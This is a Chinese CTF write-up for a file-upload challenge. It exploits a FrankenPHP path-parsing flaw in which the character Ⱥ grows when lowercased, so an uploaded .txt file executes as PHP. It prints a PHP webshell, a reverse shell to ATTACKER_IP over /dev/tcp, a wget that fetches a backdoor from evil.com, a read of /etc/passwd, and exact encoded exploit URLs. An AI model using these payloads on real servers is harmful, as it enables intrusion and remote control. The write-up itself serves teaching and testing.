题目信息
-
题目名称: ezupload
-
提示: 请查询 frankenphp 并且试图找到他如何解析 url 路径的
源码分析
php
<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
$filename = basename($_GET['filename'] ?? 'phpinfo.php');
file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
echo "File created.";
} elseif ($action === 'upload') {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
$extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
if ($extension === 'txt') {
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "File uploaded successfully.";
}
}
}
} else {
highlight_file(__FILE__);
}
action=create :创建任意 PHP 文件并覆盖已有文件,文件名由 filename 参数指定;
action=upload:上传文件,但只允许 .txt的后缀文件;
环境信息
创建一个phpinfo文件,然后查看信息
(执行创建文件的命令后会服务端会在当前目录(Web 根目录)新建/覆盖 phpinfo.php,内容为 <?php phpinfo(); ?>)
bash
http://localhost:8080/?action=create&filename=phpinfo.php
http://localhost:8080/phpinfo.php
通过访问 phpinfo.php 可以发现:
- Server API: FrankenPHP
- PHP Version: 8.4.15
- open_basedir :
/app/public:/tmp - disable_functions : 包含大量危险函数,但未禁用
system
什么是system?
system()是用来执行系统命令的函数:
典型的调用方式:(会把命令结果直接打印在HTTP响应中)
bash
system('ls -la');
system('whoami');
测试者上传一个包含 system() 的 PHP 脚本(例如:<?php system($_GET['cmd']); ?>);
这个脚本被 Web 服务器当作 PHP 执行;
攻击者通过访问这个脚本,把任意系统命令传给 system() 执行,从而获得服务器命令行能力
1) 最简 WebShell:一句话命令执行
假设攻击者上传了这样一个文件(叫 shell.php):
<?php system($_GET['cmd']); ?>
然后访问:
http://example.com/uploads/shell.php?cmd=whoami
服务器就会:
- 执行操作系统命令
whoami; - 把输出直接写回 HTTP 响应;
- 攻击者就能看到运行 PHP 的用户身份。
从这之后,攻击者可以不断改 cmd 参数执行:
ls -la /var/www/htmlcat /etc/passwdwget http://evil.com/backdoor.php -O /var/www/html/b.php
这就是一个最基础的 WebShell:只靠 system() + URL 参数就能执行任意命令。
2) 反弹 Shell(Reverse Shell)
首先让服务器主动连回测试者机器的某个端口,然后测试人员在自己的机器上监听这个端口,拿到一个交互式的shell。
简易代码:
php
<?php
system('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
?>
利用流程通常是:
- 测试者在自己的 VPS 上执行:
nc -lvnp 4444(监听 4444 端口); - 通过文件上传漏洞,把上面这段 PHP 上传到服务器并访问它;
- 服务器上的 PHP 调用 system() 执行 bash 命令;
- 一个交互式 shell 连回攻击者的机器。
3) system() 不是唯一选项,但很常见
在 WebShell 中,能执行系统命令的函数并不只有 system(),常见的一整批包括:
- system()
- exec()
- shell_exec()
- passthru()
- proc_open() / popen()
- pcntl_exec()
- 以及反引号执行:
$output =ls -la;
漏洞分析
参考:
php
https://lexsd6.github.io/2026/01/10/Unicode字节绕过FrankenPHP FastCGI路径拆分匹配/
漏洞位于 FrankenPHP 的 CGI 路径解析逻辑中(frankenphp_src/cgi.go):
服务器需要确定 URL 路径中哪一部分对应 PHP 脚本,逻辑如下:
- 使用
strings.ToLower()将路径转为小写 - 在小写路径中查找
.php扩展名 - 使用在小写字符串中找到的索引来切片原始字符串
漏洞点 :该逻辑假设 len(lower(s)) == len(s),但在 Unicode 中这并不总是成立。
字符 Ⱥ (U+023A) 大小写转换后长度变化:
- 大写:
Ⱥ(UTF-8:0xC8 0xBA-- 2 字节) - 小写:
ⱥ(UTF-8:0xE2 0xB1 0xA5-- 3 字节)
每个 Ⱥ 字符在路径中会使小写后的字符串长度增加 1 字节。
符号 Ⱥ (Unicode: U+023A, Latin Capital Letter A with right hook) 在文件上传漏洞中主要被用作 Unicode 欺骗 或 同形异义攻击 的一种手段。
Ⱥ (U+023A) 的核心价值在于它是一个 "非标准 A"。
- 对于机器(黑名单/WAF) :它不是
A,所以能绕过检查。 - 对于系统(解析器/文件系统) :在某些条件下(如 Windows 短文件名生成或特定的 Unicode 标准化处理),它可能被当作
A处理,从而导致文件被作为脚本执行。
利用原理与步骤
利用原理
构造 URL 如 .../ȺȺȺȺshell.php.txt.php
- 小写转换 :服务器将路径转为小写,4 个
Ⱥ(8 字节)变成 4 个ⱥ(12 字节),字符串增长 4 字节 - 索引计算 :服务器在扩展后的字符串中找到最后的
.php,假设索引为 N - 切片操作 :服务器将索引 N 应用到原始(较短的)字符串上。由于原始字符串短 4 字节,切片索引 N 会落在原始字符串中
.php实际起始位置之后 4 字节处
通过精确计算 Ⱥ 字符的数量,可以强制切片操作从原始路径中截断末尾的 .php 扩展名。服务器认为它在执行 PHP 脚本(因为 URL 以 .php 结尾),但实际解析的磁盘文件路径是我们上传的 .txt 文件。
服务器将路径转为小写,4 个
Ⱥ(8 字节)变成 4 个ⱥ(12 字节),字符串增长 4 字节,导致 .php 这四个字节溢出,ȺȺȺȺshell.php.txt.php 被解析为 ȺȺȺȺshell.php.txt 从而导致RCE
利用步骤
1、上传 Web Shel
- 上传文件名:
ȺȺȺȺshell.php.txt - 文件内容:
php
<?php system($_GET['cmd']); ?>
2、创建触发文件
- 访问 URL 创建文件:
?action=create&filename=ȺȺȺȺshell.php.txt.php
3、触发RCE
- 访问 URL:
/ȺȺȺȺshell.php.txt.php?cmd=ls - URL 编码后:
/%C8%BA%C8%BA%C8%BA%C8%BAshell.php.txt.php?cmd=ls
4、获取flag
- 虽然
disable_functions禁用了大量危险函数,但未禁用system函数,可以直接执行系统命令获取 flag: /ȺȺȺȺshell.php.txt.php?cmd=cat /flag
总结
本题利用了 FrankenPHP 在处理 Unicode 字符时的 case-folding 漏洞。通过构造包含特殊 Unicode 字符(Ⱥ)的文件名,利用大小写转换后字符串长度不一致的特性,绕过了文件扩展名限制,成功将 .txt 文件作为 PHP 执行,最终实现 RCE 并获取 flag。
关键点
- FrankenPHP 的 CGI 路径解析存在 Unicode case-folding 漏洞
- 字符
Ⱥ(U+023A) 大小写转换后 UTF-8 编码长度不同 - 利用该特性可以绕过
.txt扩展名限制 system函数未被禁用,可直接执行系统命令